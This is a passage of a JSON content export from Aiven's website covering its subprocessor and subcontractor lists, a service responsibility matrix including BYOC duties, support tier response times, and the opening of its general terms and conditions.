Subprocessors are only used to deploy and manage the Cloud Services and the Customer Data is not accessed."}],"markDefs":[],"style":"normal"},{"_key":"02f54738a127","_type":"block","children":[{"_key":"513311e0de420","_type":"span","marks":[],"text":"The Aiven back-end services, their provider, location and functions are listed below."}],"markDefs":[],"style":"normal"},{"_key":"afbc365f0251","_type":"table","rows":[{"_key":"3bb89d70-a591-4c26-9520-919e8a57aa32","_type":"tableRow","cells":["Entity Name","Registered Address","Region","Services and tasks"]},{"_key":"8b48308c-926f-4929-a8a2-9924cc6d9a09","_type":"tableRow","cells":["Google Cloud EMEA Limited","70 Sir John Rogerson's Quay, D02 R296, Dublin 2,Dublin, Ireland.","Belgium / europe-west1","Management services for Aiven console, backup, API, system of record database, centralized logging and monitoring systems."]},{"_key":"f50d29aa-cca0-4803-9480-2782698ca631","_type":"tableRow","cells":["Amazon Web Services","38 Avenue John F. Kennedy, L-1855, Luxembourg."," Sweden / eu-north-1","Management services for DNS, Disaster recovery, backup, long term storage of audits logs."]}]},{"_key":"4d10552f6b59","_type":"block","children":[{"_key":"60fe5fe09e160","_type":"span","marks":[],"text":"Aiven infrastructure Subprocessors"}],"markDefs":[],"style":"h3"},{"_key":"8065a663c085","_type":"block","children":[{"_key":"8cc1be7ec3420","_type":"span","marks":[],"text":"Aiven controls access to the infrastructure that Aiven uses to host, store and process the Customer Data input to the Cloud Services. The Subprocessor and location/region depend on which Subprocessor and region Customer chooses independently to select. Customer Data will stay in the region selected by the Customer but may be shifted and co-located between different data centers within the region chosen by the Customer to ensure performance and availability of the Cloud Services."}],"markDefs":[],"style":"normal"},{"_key":"97b769f3e409","_type":"block","children":[{"_key":"15bea6d98df40","_type":"span","marks":[],"text":"The infrastructure Subprocessors don’t have logical access to the Customer Data as Aiven does not store encryption keys directly on US-based Cloud Service Provider Key Management Systems such as Azure Key Vault, AWS KMS, and GCP KMS. Instead, Aiven utilizes its own Key Management System running on Aiven controlled virtual machines within European GCP data centers ensuring compliance with the Schrems II decision."}],"markDefs":[],"style":"normal"},{"_key":"c09b7354c815","_type":"table","rows":[{"_key":"c26a6891-aa09-48b1-b273-ed50c9448b71","_type":"tableRow","cells":["Entity name","Registered address","Region","Services and tasks"]},{"_key":"a60f4ca2-5931-46f8-85ac-5e6830d37651","_type":"tableRow","cells":["Google Cloud EMEA Limited","70 Sir John Rogerson's Quay, D02 R296, Dublin 2,Dublin, Ireland.","As selected by the Customer.","Infrastructure for Cloud Services, Cloud Service backups."]},{"_key":"1b44ff4b-6a62-496b-8f7f-667fade55bd8","_type":"tableRow","cells":["Amazon Web Services EMEA SARL","38 Avenue John F. Kennedy, L-1855, Luxembourg.","As selected by the Customer.","Infrastructure for Cloud Services, Cloud Service backups."]},{"_key":"a4d0684c-4e70-4661-81f7-237b57ecfce2","_type":"tableRow","cells":["Microsoft Ireland Operations Limited","South County Business Park, One Microsoft Court, Carmanhall and Leopardstown, Dublin, D18 DH6K, Ireland.","As selected by the Customer.","Infrastructure for Cloud Services, Cloud Service backups."]},{"_key":"7e0c2752-a338-4cd6-8655-50ab641d8831","_type":"tableRow","cells":[" DigitalOcean LLC","101 Avenue of the Americas, 10th Floor New York 10013, United States.","As selected by the Customer.","Infrastructure for Cloud Services. (No object storage services available, the nearest region from another infrastructure provider is used)."]},{"_key":"fb5ffb69-e5ed-405d-9876-dc19eca0c756","_type":"tableRow","cells":[" Upcloud Oy","Aleksanterinkatu 15B (7th floor), 00100, Helsinki, Finland."," As selected by the Customer.","Infrastructure for Cloud Services. (No object storage services available, the nearest region from another infrastructure provider is used)."]}]},{"_key":"1ccaaed67b15","_type":"block","children":[{"_key":"6909ebc9c346","_type":"span","marks":[],"text":"Aiven subcontractors"}],"markDefs":[],"style":"h2"},{"_key":"a45d048c4174","_type":"block","children":[{"_key":"43cd9415addf0","_type":"span","marks":[],"text":"Aiven uses certain third parties listed below to provide specific functionality within the Services. The subcontractors may process Cloud Service metadata and personal data of the Customer’s contact persons if and as provided by the Customer, in which processing Aiven acts as the data controller determining the means and purposes of the processing as needed to respond to customer requests, to arrange invoicing, and to communicate internally and externally with regards to the Customers use of Cloud Services."}],"markDefs":[],"style":"normal"},{"_key":"b05036fc8e41","_type":"block","children":[{"_key":"38ba4246423f0","_type":"span","marks":[],"text":"No Customer Data uploaded to the Cloud Services is processed by the subcontractor nor can Customer determine the means and purposes of the processing of services provided by Aiven’s subcontractors, hence Customer does not act as a data controller towards the subcontractors listed below."}],"markDefs":[],"style":"normal"},{"_key":"2f0d4052ba53","_type":"block","children":[{"_key":"219adbec95e7","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"807046859fb7","_type":"table","rows":[{"_key":"e98e2661-1f5b-43ec-8506-f6048a900b3e","_type":"tableRow","cells":["Entity name"," Registered address ","Country","Services and tasks"]},{"_key":"5f3b2c32-e56f-40a6-b5a5-4a41fa150028","_type":"tableRow","cells":["Qualified.com Inc","450 Mission Street, Suite 204, San Francisco, CA 94105.","United States","Chat function for marketing and sales purpose"]},{"_key":"409db65c-b35c-4c5b-a438-18037726d9f6","_type":"tableRow","cells":["Stripe Inc","510 Townsend Street, San Francisco, CA 94103.","United States","Credit card payment processing"]},{"_key":"1c8a7cf1-45fc-4680-b93a-76ce5313abc6","_type":"tableRow","cells":["Slack Technologies LLC ","500 Howard Street, San Francisco, CA 94105.","United States","Internal operational messaging"]},{"_key":"79fcb698-7b4e-462b-96d9-096b0ddfd253","_type":"tableRow","cells":[" Salesforce.com Inc.","415 Mission Street, San Francisco, CA 94105.","United States","Customer relationship management system"]},{"_key":"c0cedba7-436a-442a-b5b9-36bc2f568f5f","_type":"tableRow","cells":[" Opsgenie Inc (owned by Atlassian Pty Ltd)","Level 6, 341 George Street, Sydney, NSW 2000.","Australia","Alerting and paging"]},{"_key":"3294cf67-604d-4282-88d3-9239df611b6d","_type":"tableRow","cells":[" Atlassian Pty Ltd","Level 6, 341 George Street, Sydney, NSW 2000.","Australia","Internal ticketing system"]},{"_key":"da17a297-3a94-4b34-96eb-3d76cc54831c","_type":"tableRow","cells":[" Amazon Web Services EMEA SARL.","38 Avenue John F. Kennedy, L-1855, Luxembourg.","Luxembourg","Email delivery service"]},{"_key":"ae528d0d-6de9-454f-8c2e-38f765d0f7cb","_type":"tableRow","cells":["Zendesk","989 Market St, San Francisco, CA 94103.","United States","Customer support ticketing system"]}]},{"_key":"647fe0b89afe","_type":"block","children":[{"_key":"c588507111c7","_type":"span","marks":[],"text":"Subscribe for changes notification"}],"markDefs":[],"style":"h2"},{"_key":"f4e70368412c","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iframeHeight":550,"iframeSource":"https://go.aiven.io/l/890043/2023-12-09/tdj1j","iframeTitle":"Aiven Subprocessors subscription notification","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"newsletter","subtitle":[{"_key":"d81d39a36bf2","_type":"block","children":[{"_key":"09ff7c752b550","_type":"span","marks":[],"text":"Stay updated to receive notifications about updates and changes of Aiven Subprocessors."}],"markDefs":[],"style":"normal"}]},{"_key":"405644377a6d","_type":"block","children":[{"_key":"9beb4604f581","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"modals":[{"_key":"78d454b996db","_ref":"f1ad5a2d-d9fe-4ade-af59-b5d5a818a37b","_type":"reference"}],"publishedAt":"2023-04-05T12:20:19.808Z","secondaryNavigation":{"_ref":"d3682fc4-0bec-4657-9273-405424bdd8ed","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Aiven uses certain subcontractors (including Aiven subsidiaries) to assist in providing the Aiven Services for its customers.\n","metaImage":{"_type":"mainImage","alt":"contractors meta preview","asset":{"_ref":"image-e910433dc39dca33ba7817a33ebb4f380175ccf6-476x250-jpg","_type":"reference"}},"metaTitle":"Subcontractors and Subprocessors | Aiven"},"slug":{"_type":"slug","current":"/subprocessors"},"title":"Aiven Subprocessors and subcontractors"} {"__i18n_lang":"en","_createdAt":"2022-09-02T13:32:52Z","_id":"97422fba-5006-46b6-9389-f8d782b04bd5","_rev":"DcneF66P6QscvZLjoAj4SF","_type":"term","_updatedAt":"2024-05-01T10:45:06Z","content":[{"_key":"571998741f63","_type":"block","children":[{"_key":"274513e32fa10","_type":"span","marks":[],"text":"When running services on Aiven, you can expect world leading automation and cutting edge self-healing architecture for cloud native infrastructure. Aiven also provides an exceptional support team plus an experienced account team (Customer Success Manager \u0026 Solution Architect) to assist with additional complexity and customer specific requirements when running on the Aiven platform. Review the following matrix to ensure your workloads and teams are set up for success."}],"markDefs":[],"style":"normal"},{"_key":"46183cd9cd19","_type":"block","children":[{"_key":"11a0ab166d87","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"fe3647841606","_type":"table","rows":[{"_key":"10edd12c-e8f4-4b81-b7aa-f704e9f3cc6b","_type":"tableRow","cells":["","Aiven Platform Automation","Aiven Support*","Aiven Account Team*","Customer/Partner Responsibility"]},{"_key":"7e27b85d-2213-47fd-971f-2c49611cf3e3","_type":"tableRow","cells":["Infrastructure setup and provisioning","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"bbb03c99-e947-4fcd-b4e1-4602ed849634","_type":"tableRow","cells":["Security and Compliance","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"48f36c78-826f-4dbc-840e-1a36316eabb3","_type":"tableRow","cells":["Service availability, AZ spread","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"137d1592-4f38-468b-9dff-9536960b1de3","_type":"tableRow","cells":["Maintenance and version upgrades","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"bab29baa-d32c-4ef1-bc14-916ca88174eb","_type":"tableRow","cells":["Near zero downtime scaling and migrations","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"98460a66-c803-45d8-a0e2-41bf5e3c0b61","_type":"tableRow","cells":["Support and Ticketing","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"86811fb2-a1fb-41e1-b42f-18d38faeb544","_type":"tableRow","cells":["Troubleshooting☨","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"7b8a23f0-2dcf-455f-aa8e-da0ef040bfed","_type":"tableRow","cells":["Proactive and 24/7/365 Support","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"9b0037c3-7d8e-425d-9c3f-14bdb7de18e9","_type":"tableRow","cells":["Additional Auditing for Enhance Compliance Environments","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"66604aed-60fe-42ff-984b-8fd93c7a6902","_type":"tableRow","cells":["BYOC Set Up","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"0517698c-0851-400d-98dd-0a8a3cd0dd62","_type":"tableRow","cells":["Service best practice guidance and training","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"d4fa32ce-e9c9-4d65-8c65-234724e65b2a","_type":"tableRow","cells":["Aiven platform and service optimization","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"7b40a5b4-7c31-4380-bc89-4358b124615e","_type":"tableRow","cells":["Capacity planning","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"8e8b7805-3bad-4f3a-a4c6-ca30142558e2","_type":"tableRow","cells":["[Disaster Recovery](https://developer.aiven.io/docs/platform/concepts/disaster-recovery-test-scenarios.html) and High Availability Readiness","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"d24c0a54-14fe-4507-9779-ad66bd905980","_type":"tableRow","cells":["Customized RCA for Declared Incidents","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"91517c7f-9217-4114-922b-0ea2f7f86a46","_type":"tableRow","cells":["Observability","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"9903796d-c1d4-4455-bfa1-9c986c4a2e80","_type":"tableRow","cells":["Migration planning","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"ba71b578-f84c-423d-8183-b3f0b03d41f3","_type":"tableRow","cells":["Migration execution","","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"3f32032a-1a6d-45c9-aa67-84ce1d84b8d1","_type":"tableRow","cells":["Application/Interface design and optimization","","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"39454fbf-474b-43f2-935c-3e53c2ac2de5","_type":"tableRow","cells":["Integration testing","","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]}]},{"_key":"b1fc3806e2b9","_type":"block","children":[{"_key":"5a74c2c5e9c10","_type":"span","marks":[],"text":"* Aiven support tiers give developers and DevOps teams access to the resources they need to be successful. Access to Aiven can span from dedicated attention for onboarding, to access to contributors of open source projects, e.g. Apache Kafka. Aiven offers four tiers of support – Basic, Essential, Advanced and Premium. These tiers give varying access to the Aiven support team and Aiven account teams. Details for these tiers are outlined below."}],"markDefs":[],"style":"normal"},{"_key":"531fb0506088","_type":"block","children":[{"_key":"773c3b4bf52c0","_type":"span","marks":[],"text":"☨ The Aiven account teams participate in troubleshooting to the extent that the issue involves understanding and optimization of Aiven services or the platform. We want to ensure that customers are able to get the most out of open source and Aiven’s value add. To this end the Aiven account team is not able to provide troubleshooting services or professional services for customer code or application implementation although we can give hints and tips of where to look."}],"markDefs":[],"style":"normal"},{"_key":"edc123718208","_type":"block","children":[{"_key":"78ed6537796b","_type":"span","marks":[],"text":"Bring Your Own Cloud (BYOC)"}],"markDefs":[],"style":"h2"},{"_key":"f318dcca1654","_type":"block","children":[{"_key":"5895a32454bd0","_type":"span","marks":[],"text":"For more in-depth details, please hover over the dotted lines indicated in the responsibility column. A tooltip will appear providing additional description of the responsibility."}],"markDefs":[],"style":"normal"},{"_key":"441eeba6a7cb","_type":"table","rows":[{"_key":"95a4fb5c-6185-4163-82dc-abf2f9bd4e0d","_type":"tableRow","cells":["Responsibility","Customer Team","Aiven Platform","Aiven Support","Aiven Account Team"]},{"_key":"6903aaf8-2c37-4591-af2e-79fc25d27707","_type":"tableRow","cells":["\u003cabbr title=\"Customer must provision their own cloud account.\"\u003eCustomer Account(/s) with Cloud Provider\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"66527c5a-ddd0-4921-a4f7-e3ef071e3a7b","_type":"tableRow","cells":["\u003cabbr title=\"Customer must provision their own VPC according to Aiven BYOC configuration guidelines.\"\u003eCreation and Management of VPC for Aiven Services\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"e8999c8a-d89a-4f96-9bda-0c2181f56ebd","_type":"tableRow","cells":["\u003cabbr title=\"Customer must provision IAM Roles \u0026 Permissions according to Aiven BYOC configuration guidelines.\"\u003eIAM Permissions for Aiven Services within VPC\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"b4b0b942-f195-48af-8dd1-023b0db5d2e8","_type":"tableRow","cells":["\u003cabbr title=\"Customer must properly manage cloud resource quotas according to Aiven BYOC guidelines.\"\u003eComputing Resource Quotas Management\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"d8446505-ce58-43ac-95be-e3d49feda681","_type":"tableRow","cells":["\u003cabbr title=\"Customer must properly provision cloud object storage to allow Aiven permission to store service backups.\"\u003eObject Storage Provisioning and Accessr\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"c69c8c40-d70b-4609-8628-f07c67357593","_type":"tableRow","cells":["\u003cabbr title=\"Customer is responsible for the security of their cloud account, but not the Aiven service resources in that account. Note: The BYOC account should be exclusively for running Aiven services.\"\u003eAccount level security which follows Aiven guidelines\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"a137fd66-8437-4489-a6d0-9b4f668989d4","_type":"tableRow","cells":["\u003cabbr title=\"The customer is responsible for auditing and maintaining compliance for their account(s). Aiven will ensure the service infrastructure is compliant.\"\u003eAuditing and compliance\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"52820879-8bb8-43f0-91ed-9e9e9068d69b","_type":"tableRow","cells":["\u003cabbr title=\"Aiven is responsible for establishing and maintaining the security of the service resources.\"\u003eResource Security, Compliance, Auditing of the Aiven service\u003c/abbr\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"215a266e-38af-4590-bae3-671c80406c87","_type":"tableRow","cells":["\u003cabbr title=\"Account team along with the customer will build a migration plan to migrate services from Aiven Cloud into the BYOC configuration. Strategies may include use Aiven Console, TF, CLI to migrate from Aiven Cloud to BYOC configuration.\"\u003eService Migration Planning from Aiven Cloud to BYOC\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"e6d22d7b-a86e-4de1-8064-d1069e0cb974","_type":"tableRow","cells":["\u003cabbr title=\"Account team along with the customer will build a migration plan to migrate services into the BYOC configuration from alternative solutions. Strategies may include use Aiven Console, TF, CLI to migrate into BYOC configuration.\"\u003eService Migration Planning (from non-Aiven offering to Aiven offering)\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"9273154a-c6b6-4f06-a330-55c3501f4eeb","_type":"tableRow","cells":["\u003cabbr title=\"Account team along with the customer will work to determine the appropriate DR strategy based on best practices.\"\u003eDisaster Recovery Planning and Advisory\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"09ba365c-6feb-41ff-a3c3-453316a5b0fc","_type":"tableRow","cells":["\u003cabbr title=\"Customer cloud resources interacting with Aiven Services lie outside the support boundaries of the Aiven Support team.\"\u003eTroubleshooting of Customer Managed Resources (K8S, external networking, etc.)\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"6c5164e0-f125-45c7-a586-4d04633c524c","_type":"tableRow","cells":["\u003cabbr title=\"The Aiven platform fully manages the entire lifecycle of the Aiven Service to include Startup, Upgrade, Downgrade, Patching, Stopping and Terminating.\"\u003eAiven Service Deployment Lifecycle Activities\u003c/abbr\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"d0583c7f-ae44-4929-b1b0-378130047836","_type":"tableRow","cells":["\u003cabbr title=\"Customer has the ability to choose when they would like to upgrade a major version of a service prior to EOL of that service version. Aiven maintenance policy will for standard patching and minor upgrade.\"\u003eAiven Service Maintenance and Version Upgrades\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"f4c5868e-489d-4967-b5d6-4876d006f52d","_type":"tableRow","cells":["\u003cabbr title=\"The Aiven platform will perform backups as schedule according to service plan.\"\u003eAiven Service Backups\u003c/abbr\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"b4ae447d-a4a1-4e78-980a-ce3d1f9f7530","_type":"tableRow","cells":["\u003cabbr title=\"Aiven services are fully managed with observability and logging provided by our platform. It is also highly recommend that customers also observe and capture logs from the services to monitor for business specific critical threshold and errors. Aiven Support can provide guidance for Aiven specific metrics and logs.\"\u003eAiven Service Observability and Logging\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"db4c9cfd-ad0c-43d5-9ebc-4b812475a3f1","_type":"tableRow","cells":["\u003cabbr title=\"Joint ownership of troubleshooting the provisioned Aiven service since the issues can involve the way workloads are configured or how the other ecosystem components within customers' infrastructure interact with Aiven services\"\u003eAiven Service Troubleshooting\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"a85695ff-d787-45bb-b338-35fc01d695a8","_type":"tableRow","cells":["\u003cabbr title=\"Please see our Security Page for full insight on the Aiven Security, Compliance and Auditing capabilities.\"\u003eAiven Platform [Security, Compliance, Auditing](https://aiven.io/security-compliance)\u003c/abbr\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"537bab3b-5732-4c49-8672-a12474779674","_type":"tableRow","cells":["\u003cabbr title=\"Service Migration Planing from Aiven Cloud to BYOC\"\u003eSLA Management\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]}]},{"_key":"52ce070d434e","_type":"block","children":[{"_key":"dbf298f43ad80","_type":"span","marks":[],"text":"Support"}],"markDefs":[],"style":"h4"},{"_key":"569588d51223","_type":"block","children":[{"_key":"455a0bcbf4570","_type":"span","marks":[],"text":"The Aiven support team is composed of developers and open source database experts and is your first line of defense for availability and responsiveness of the Aiven platform. Their goals are mitigation, containment and stability and they will resolve any issues in a timely manner."}],"markDefs":[],"style":"normal"},{"_key":"026122d9bf5f","_type":"block","children":[{"_key":"c6c2750aa1510","_type":"span","marks":[],"text":"Every Aiven user has access to create support tickets with a reasonable effort response time. All Aiven services, regardless of the support plan, receive the service uptime "},{"_key":"75ac0b20da0f","_type":"span","marks":["d7c60ddc521f"],"text":"SLA"},{"_key":"2f349ba172b7","_type":"span","marks":[],"text":" of 99.99%. For more details, visit the "},{"_key":"26e58dfdcf69","_type":"span","marks":["1548f4c8c74b"],"text":"support page"},{"_key":"44e351165ef3","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"1548f4c8c74b","_type":"internalLink","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7","_type":"reference"}},{"_key":"d7c60ddc521f","_type":"internalLink","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"}}],"style":"normal"},{"_key":"895851299b77","_type":"table","rows":[{"_key":"7b7c7310-213d-4895-bc47-f9e495591179","_type":"tableRow","cells":["Support","Description"]},{"_key":"7537abf7-ae8c-4781-97e6-f32be082ddde","_type":"tableRow","cells":["**Basic Support**","Non-critical and stable workloads are easily supported with Basic Support. Responses are provided on a reasonable effort basis during the same or next business day."]},{"_key":"d08691d0-909d-487e-a038-ac40c8de6d65","_type":"tableRow","cells":["**Essential Support**","Minimum recommendation for production workloads on Aiven. Responses are provided based on case severity.\u003cbr /\u003e\u003cbr /\u003e\u003cul\u003e\u003cli\u003eGeneral guidance - No service impact: Next business day\u003c/li\u003e\u003cli\u003eService impacted: 12 hours\u003c/li\u003e\u003c/ul\u003e"]},{"_key":"d91f9ce1-9620-403d-818f-824cd441a6f0","_type":"tableRow","cells":["**Advanced Support**","Production and business critical workloads on Aiven. Responses are provided based on case severity.\u003cbr /\u003e\u003cbr /\u003e\u003cul\u003e\u003cli\u003eGeneral guidance - No service impact Low: 24 hours.\u003c/li\u003e\u003cli\u003eService impacted - Medium: 8 hours.\u003c/li\u003e\u003cli\u003eProduction severely impacted - High: 2 hours.\u003c/li\u003e\u003cli\u003eBusiness/Mission-critical system down - Critical: 30 minutes\u003c/li\u003e\u003c/ul\u003e"]},{"_key":"29ce626c-c210-4733-afe3-db72dd1e6b76","_type":"tableRow","cells":["**Premium Support** ","Business and mission critical workloads on Aiven. Responses are provided based on case severity.\u003cbr /\u003e\u003cbr /\u003e\u003cul\u003e\u003cli\u003eGeneral guidance - No service impact Low: 24 hours\u003c/li\u003e\u003cli\u003eService impacted - Medium: 4 hours\u003c/li\u003e\u003cli\u003eProduction severely impacted - High: 1 hours\u003c/li\u003e\u003cli\u003eBusiness/Mission-critical system down - Critical: 15 minutes\u003c/li\u003e\u003c/ul\u003e"]}]}],"publishedAt":"2024-05-01T11:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven delivers cutting edge architecture to ensure your workloads and teams are set up for success.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven's strategic responsibility matrix"},"slug":{"_type":"slug","current":"/responsibility-matrix"},"title":"Aiven Responsibility Matrix"} {"__i18n_lang":"en","_createdAt":"2022-05-26T14:14:57Z","_id":"174ba708-1e30-481f-ab87-32c8d8fac151","_rev":"3k3vwhvhnpMxr5ODyxi1Vd","_type":"term","_updatedAt":"2024-03-04T14:15:41Z","content":[{"_key":"817bf6d33c8a","_type":"block","children":[{"_key":"e3936404e4c70","_type":"span","marks":[],"text":"General"}],"markDefs":[],"style":"h2"},{"_key":"891e84b2e7b9","_type":"block","children":[{"_key":"d9bcfdd8be890","_type":"span","marks":[],"text":"This Agreement governs the use of the Aiven Cloud Services and consists of these general terms and conditions (\""},{"_key":"75b0b3ac4ece","_type":"span","marks":["strong"],"text":"General Terms"},{"_key":"179e107f1ca1","_type":"span","marks":[],"text":"\"), the Service Level Agreement (\""},{"_key":"0ee7415769db","_type":"span","marks":["strong"],"text":"SLA\""},{"_key":"037060ed8cb7","_type":"span","marks":[],"text":"), the Data Processing Agreement (\""},{"_key":"23770944b121","_type":"span","marks":["strong"],"text":"DPA"},{"_key":"b62367961ea7","_type":"span","marks":[],"text":"\") and the Support Services Description. The Customer accepts this Agreement either by indicating acceptance when first registering to use the Cloud Services or executing an Order Form that references these General Terms. If the individual accepting this Agreement is accepting on behalf of a company or other legal entity, such individual represents that they have the authority to bind such entity and its affiliates to this Agreement. If the individual accepting this Agreement does not have such authority, or does not agree with this Agreement, such individual must not accept this Agreement and may not use the Cloud Services.If Customer registers for a free trial of the Cloud Services, the applicable provisions of these General Terms will also govern that free trial. The Cloud Services may not be accessed for purposes of monitoring their availability, performance, or functionality, or for any other benchmarking or competitive purposes. This Agreement was last updated on 4th of March 2024. It is effective between Aiven and the Customer as of the date of Customer accepting this Agreement."}],"markDefs":[],"style":"normal"},{"_key":"957d68117788","_type":"block","children":[{"_key":"56045199c8ab0","_type":"span","marks":[],"text":"1. Cloud Services"}],"markDefs":[],"style":"h3"},{"_key":"c29b925d19ba","_type":"block","children":[{"_key":"d5e2150d06290","_type":"span","marks":[],"text":"Aiven will provide the Cloud Services to the Customer substantially as set out at Aiven's Web Site and in this Agreement. The Customer may order Cloud Services through the Web Site account subject to the following: (1) orders may be made by the Customer after registering at the Web Site or automatically by using APIs of the Cloud Services; (2) the Customer shall be responsible for any orders made under the Customer's account, whether by the Customer itself, by its authorized users, or by the Customer’s data systems automatically, and shall be responsible for the payment of all Fees based on orders made under the Customer's account; (3) no order made by the Customer is valid until accepted by Aiven. Aiven shall be deemed to have accepted the order if it supplies the Cloud Services to the Customer. Aiven reserves the right to place controls and restrict the Customer's orders of the Cloud Services; (4) After Aiven having accepted the order, Aiven will provide the Cloud Services to the Customer without undue delay."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e45cb45bfe43","_type":"block","children":[{"_key":"3f907e5ccbe70","_type":"span","marks":[],"text":"Unless set out to the contrary, the Cloud Services are supplied on an \"as is\" and \"as available\" basis without any guaranteed service levels. Any applicable service levels have been set out in the SLA and are only applicable to the individual Cloud Service. A failure to comply with any service level shall not, however, be 